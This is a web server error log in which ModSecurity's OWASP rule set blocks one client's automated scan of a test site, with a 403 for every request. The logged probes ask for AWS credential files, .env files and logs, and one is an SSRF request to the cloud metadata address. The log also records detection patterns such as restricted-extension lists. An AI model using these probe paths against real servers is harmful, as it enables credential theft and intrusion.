[Sun Mar 22 01:06:22.925469 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.aws/config&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70Dh4AAAAAU&quot;]
[Sun Mar 22 01:06:22.947411 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /hidden/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.aws/credentials&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70Dh4QAAAAU&quot;]
[Sun Mar 22 01:06:22.947621 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.aws/credentials&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70Dh4QAAAAU&quot;]
[Sun Mar 22 01:06:22.947759 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.aws/credentials&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70Dh4QAAAAU&quot;]
[Sun Mar 22 01:06:22.969886 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hidden/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.env&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70Dh4gAAAAU&quot;]
[Sun Mar 22 01:06:22.970074 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.env&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70Dh4gAAAAU&quot;]
[Sun Mar 22 01:06:22.970213 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.env&quot;] [unique_id &quot;ab8yftb4J9WjFZPQ70Dh4gAAAAU&quot;]
[Sun Mar 22 01:06:23.282644 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/internal/admin&quot;] [unique_id &quot;ab8yf9b4J9WjFZPQ70Dh8AAAAAU&quot;]
[Sun Mar 22 01:06:23.282960 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/internal/admin&quot;] [unique_id &quot;ab8yf9b4J9WjFZPQ70Dh8AAAAAU&quot;]
[Sun Mar 22 01:06:23.283092 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/internal/admin&quot;] [unique_id &quot;ab8yf9b4J9WjFZPQ70Dh8AAAAAU&quot;]
[Sun Mar 22 01:06:23.439086 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /js/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;ab8yf9b4J9WjFZPQ70Dh9wAAAAU&quot;]
[Sun Mar 22 01:06:23.439275 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;ab8yf9b4J9WjFZPQ70Dh9wAAAAU&quot;]
[Sun Mar 22 01:06:23.439419 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;ab8yf9b4J9WjFZPQ70Dh9wAAAAU&quot;]
[Sun Mar 22 01:06:23.551275 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /k8s/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;ab8yf9b4J9WjFZPQ70Dh_AAAAAU&quot;]
[Sun Mar 22 01:06:23.551460 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;ab8yf9b4J9WjFZPQ70Dh_AAAAAU&quot;]
[Sun Mar 22 01:06:23.551611 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;ab8yf9b4J9WjFZPQ70Dh_AAAAAU&quot;]
[Sun Mar 22 01:06:23.752549 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kubernetes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;ab8yf9b4J9WjFZPQ70DiBQAAAAU&quot;]
[Sun Mar 22 01:06:23.752741 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;ab8yf9b4J9WjFZPQ70DiBQAAAAU&quot;]
[Sun Mar 22 01:06:23.752880 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;ab8yf9b4J9WjFZPQ70DiBQAAAAU&quot;]
[Sun Mar 22 01:06:23.819305 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kyc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;ab8yf9b4J9WjFZPQ70DiCAAAAAU&quot;]
[Sun Mar 22 01:06:23.819490 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;ab8yf9b4J9WjFZPQ70DiCAAAAAU&quot;]
[Sun Mar 22 01:06:23.819625 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;ab8yf9b4J9WjFZPQ70DiCAAAAAU&quot;]
[Sun Mar 22 01:06:23.886549 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;ab8yf9b4J9WjFZPQ70DiCwAAAAU&quot;]
[Sun Mar 22 01:06:23.886756 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;ab8yf9b4J9WjFZPQ70DiCwAAAAU&quot;]
[Sun Mar 22 01:06:23.886910 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;ab8yf9b4J9WjFZPQ70DiCwAAAAU&quot;]
[Sun Mar 22 01:06:24.068490 2026] [:error] [pid 2857384] [client 185.177.72.38:31336] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;ab8ygAYP1jEXrqk5bL974gAAAAE&quot;]
[Sun Mar 22 01:06:24.068683 2026] [:error] [pid 2857384] [client 185.177.72.38:31336] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;ab8ygAYP1jEXrqk5bL974gAAAAE&quot;]
[Sun Mar 22 01:06:24.068821 2026] [:error] [pid 2857384] [client 185.177.72.38:31336] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;ab8ygAYP1jEXrqk5bL974gAAAAE&quot;]
[Sun Mar 22 01:06:24.158115 2026] [:error] [pid 2857384] [client 185.177.72.38:31336] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;ab8ygAYP1jEXrqk5bL975gAAAAE&quot;]
[Sun Mar 22 01:06:24.158521 2026] [:error] [pid 2857384] [client 185.177.72.38:31336] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;ab8ygAYP1jEXrqk5bL975gAAAAE&quot;]
[Sun Mar 22 01:06:24.158642 2026] [:error] [pid 2857384] [client 185.177.72.38:31336] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;ab8ygAYP1jEXrqk5bL975gAAAAE&quot;]
[Sun Mar 22 01:06:24.180453 2026] [:error] [pid 2857384] [client 185.177.72.38:31336] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;ab8ygAYP1jEXrqk5bL975wAAAAE&quot;]
